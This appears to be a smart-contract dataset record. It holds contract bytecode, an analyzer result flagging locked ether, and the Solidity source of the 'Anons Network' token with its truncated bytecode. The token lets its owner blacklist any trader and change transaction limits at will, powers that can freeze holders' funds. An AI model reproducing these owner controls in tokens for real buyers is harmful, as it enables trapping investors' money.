73ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550868181518110151561171f57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef888481518110151561178557fe5b906020019060200201516040518082815260200191505060405180910390a380806001019150506115f4565b600194505050505092915050565b6000600560009054906101000a900460ff161515156117dd57600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561183657600080fd5b6118408383612438565b905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118a657600080fd5b600090505b82518110156119b557816006600085848151811015156118c757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a5838281518110151561195157fe5b9060200190602002015183604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a180806001019150506118ab565b505050565b60066020528060005260406000206000915054906101000a900460ff1681565b6000600560009054906101000a900460ff161515156119f857600080fd5b611a028383612657565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611aed57600080fd5b600560009054906101000a900460ff16151515611b0957600080fd5b611b1281612853565b50565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611c4457600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611c9157600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611d1c57600080fd5b611d6d826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240390919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e00826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241c90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ed182600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240390919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561201f57600080fd5b600360149054906101000a900460ff1615151561203b57600080fd5b6004546120538360015461241c90919063ffffffff16565b1115151561206057600080fd5b61206a83836129ab565b905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115612183576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612217565b612196838261240390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561236157600080fd5b600360149054906101000a900460ff1615151561237d57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b6000808314156123de57600090506123fd565b81830290508183828115156123ef57fe5b041415156123f957fe5b8090505b92915050565b600082821115151561241157fe5b818303905092915050565b6000818301905082811015151561242f57fe5b80905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561247557600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156124c257600080fd5b612513826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240390919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125a6826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241c90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006126e882600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241c90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156128af57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156128eb57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612a0957600080fd5b600360149054906101000a900460ff16151515612a2557600080fd5b612a3a8260015461241c90919063ffffffff16565b600181905550612a91826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241c90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a723058208c80ae05297175907a24fc7999dbc5224f71625f54f1f1b130f09b8c0c9af09b0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 5,336 |
0xc74Cb1bBC2a1bc6E0C9E35ee176F832Ad7CDb3Ab
|
// https://anonsnetwork.com
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Anons is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (type(uint256).max - (type(uint256).max % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _ethSent = 0;
address payable public _feeAddrWallet;
string private constant _name = "Anons Network";
string private constant _symbol = "ANONS";
uint8 private constant _decimals = 9;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
event TransferType(uint256 ethSent, uint256 transferType, uint256 amount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable feeAddrWallet) {
_feeAddrWallet = feeAddrWallet;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function originalPurchase(address account) public view returns (uint256) {
return _buyMap[account];
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function setMaxTx(uint256 maxTransactionAmount) external onlyOwner() {
_maxTxAmount = maxTransactionAmount;
}
function updateFeeWallet(address payable newFeeWallet) external onlyOwner {
_feeAddrWallet = newFeeWallet;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 transferType = 0;
if (!_isBuy(from)) {
if (_buyMap[from] != 0 &&
(_buyMap[from] + (24 hours) >= block.timestamp)) {
_feeAddr1 = 5;
_feeAddr2 = 20; //M 15 G 5
transferType = 1;
} else {
_feeAddr1 = 0;
_feeAddr2 = 10; //M 8 G 2
transferType = 2;
}
} else {
if (_buyMap[to] == 0) {
_buyMap[to] = block.timestamp;
}
_feeAddr1 = 8;
_feeAddr2 = 2; // M 0 G 2
transferType = 3;
}
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
_feeAddr1 = 0;
_feeAddr2 = 0;
transferType = 0;
}
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint256 _feeAddr1Before = _feeAddr1;
uint256 _feeAddr2Before = _feeAddr2;
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
_ethSent = contractETHBalance;
}
_feeAddr1 = _feeAddr1Before;
_feeAddr2 = _feeAddr2Before;
}
}
_tokenTransfer(from, to, amount);
emit TransferType(_ethSent, transferType, amount);
_ethSent=0;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10 ** 9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1e12 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function updateMaxTx (uint256 fee) public onlyOwner {
_maxTxAmount = fee;
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063c2d0ffca1161008a578063cc653b4411610064578063cc653b4414610465578063dd62ed3e1461049b578063f2fde38b146104e1578063ff8726021461050157600080fd5b8063c2d0ffca1461041b578063c3c8cd801461043b578063c9567bf91461045057600080fd5b8063715018a61461037a5780638da5cb5b1461038f57806395d89b41146103ad578063a9059cbb146103db578063b515566a146103fb578063bc3371821461041b57600080fd5b8063313ce5671161013e5780635932ead1116101185780635932ead11461030557806366718524146103255780636fc3eaec1461034557806370a082311461035a57600080fd5b8063313ce567146102a957806341e978fa146102c557806349bd5a5e146102e557600080fd5b806306fdde0314610191578063095ea7b3146101d95780631694505e1461020957806318160ddd1461024157806323b872dd14610267578063273123b71461028757600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b5060408051808201909152600d81526c416e6f6e73204e6574776f726b60981b60208201525b6040516101d09190611bc7565b60405180910390f35b3480156101e557600080fd5b506101f96101f4366004611a58565b610516565b60405190151581526020016101d0565b34801561021557600080fd5b50600f54610229906001600160a01b031681565b6040516001600160a01b0390911681526020016101d0565b34801561024d57600080fd5b50683635c9adc5dea000005b6040519081526020016101d0565b34801561027357600080fd5b506101f9610282366004611a18565b61052d565b34801561029357600080fd5b506102a76102a23660046119a8565b610596565b005b3480156102b557600080fd5b50604051600981526020016101d0565b3480156102d157600080fd5b50600e54610229906001600160a01b031681565b3480156102f157600080fd5b50601054610229906001600160a01b031681565b34801561031157600080fd5b506102a7610320366004611b4a565b6105ea565b34801561033157600080fd5b506102a76103403660046119a8565b610632565b34801561035157600080fd5b506102a761067e565b34801561036657600080fd5b506102596103753660046119a8565b6106ab565b34801561038657600080fd5b506102a76106cd565b34801561039b57600080fd5b506000546001600160a01b0316610229565b3480156103b957600080fd5b50604080518082019091526005815264414e4f4e5360d81b60208201526101c3565b3480156103e757600080fd5b506101f96103f6366004611a58565b610703565b34801561040757600080fd5b506102a7610416366004611a83565b610710565b34801561042757600080fd5b506102a7610436366004611b82565b6107b4565b34801561044757600080fd5b506102a76107e3565b34801561045c57600080fd5b506102a7610819565b34801561047157600080fd5b506102596104803660046119a8565b6001600160a01b031660009081526004602052604090205490565b3480156104a757600080fd5b506102596104b63660046119e0565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156104ed57600080fd5b506102a76104fc3660046119a8565b610bdc565b34801561050d57600080fd5b506102a7610c74565b6000610523338484610cad565b5060015b92915050565b600061053a848484610dd1565b61058c843361058785604051806060016040528060288152602001611d98602891396001600160a01b038a166000908152600560209081526040808320338452909152902054919061123f565b610cad565b5060019392505050565b6000546001600160a01b031633146105c95760405162461bcd60e51b81526004016105c090611c1a565b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b6000546001600160a01b031633146106145760405162461bcd60e51b81526004016105c090611c1a565b60108054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b0316331461065c5760405162461bcd60e51b81526004016105c090611c1a565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b600e546001600160a01b0316336001600160a01b03161461069e57600080fd5b476106a881611279565b50565b6001600160a01b038116600090815260026020526040812054610527906112b3565b6000546001600160a01b031633146106f75760405162461bcd60e51b81526004016105c090611c1a565b6107016000611337565b565b6000610523338484610dd1565b6000546001600160a01b0316331461073a5760405162461bcd60e51b81526004016105c090611c1a565b60005b81518110156107b05760016007600084848151811061076c57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107a881611d2d565b91505061073d565b5050565b6000546001600160a01b031633146107de5760405162461bcd60e51b81526004016105c090611c1a565b601155565b600e546001600160a01b0316336001600160a01b03161461080357600080fd5b600061080e306106ab565b90506106a881611387565b6000546001600160a01b031633146108435760405162461bcd60e51b81526004016105c090611c1a565b601054600160a01b900460ff161561089d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105c0565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108da3082683635c9adc5dea00000610cad565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561091357600080fd5b505afa158015610927573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094b91906119c4565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099357600080fd5b505afa1580156109a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cb91906119c4565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610a1357600080fd5b505af1158015610a27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4b91906119c4565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d7194730610a7b816106ab565b600080610a906000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610af357600080fd5b505af1158015610b07573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b2c9190611b9a565b505060108054678ac7230489e8000060115563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610ba457600080fd5b505af1158015610bb8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b09190611b66565b6000546001600160a01b03163314610c065760405162461bcd60e51b81526004016105c090611c1a565b6001600160a01b038116610c6b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105c0565b6106a881611337565b6000546001600160a01b03163314610c9e5760405162461bcd60e51b81526004016105c090611c1a565b683635c9adc5dea00000601155565b6001600160a01b038316610d0f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105c0565b6001600160a01b038216610d705760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105c0565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e355760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105c0565b6001600160a01b038216610e975760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105c0565b60008111610ef95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105c0565b6000610f13846010546001600160a01b0391821691161490565b610f8d576001600160a01b03841660009081526004602052604090205415801590610f6457506001600160a01b0384166000908152600460205260409020544290610f619062015180611cbf565b10155b15610f7b57506005600b556014600c556001610fd4565b506000600b55600a600c556002610fd4565b6001600160a01b038316600090815260046020526040902054610fc6576001600160a01b03831660009081526004602052604090204290555b506008600b556002600c5560035b6001600160a01b03841660009081526006602052604090205460ff168061101357506001600160a01b03831660009081526006602052604090205460ff165b1561102657506000600b819055600c8190555b6000546001600160a01b0385811691161480159061105257506000546001600160a01b03848116911614155b156111e6576001600160a01b03841660009081526007602052604090205460ff1615801561109957506001600160a01b03831660009081526007602052604090205460ff16155b6110a257600080fd5b6010546001600160a01b0385811691161480156110cd5750600f546001600160a01b03848116911614155b80156110f257506001600160a01b03831660009081526006602052604090205460ff16155b80156111075750601054600160b81b900460ff165b156111645760115482111561111b57600080fd5b6001600160a01b038316600090815260086020526040902054421161113f57600080fd5b61114a42601e611cbf565b6001600160a01b0384166000908152600860205260409020555b600061116f306106ab565b601054909150600160a81b900460ff1615801561119a57506010546001600160a01b03868116911614155b80156111af5750601054600160b01b900460ff165b156111e457600b54600c546111c383611387565b4780156111d9576111d347611279565b600d8190555b50600b91909155600c555b505b6111f184848461152c565b600d54604080519182526020820183905281018390527f52cc9b3b9b2fbca105996d3a85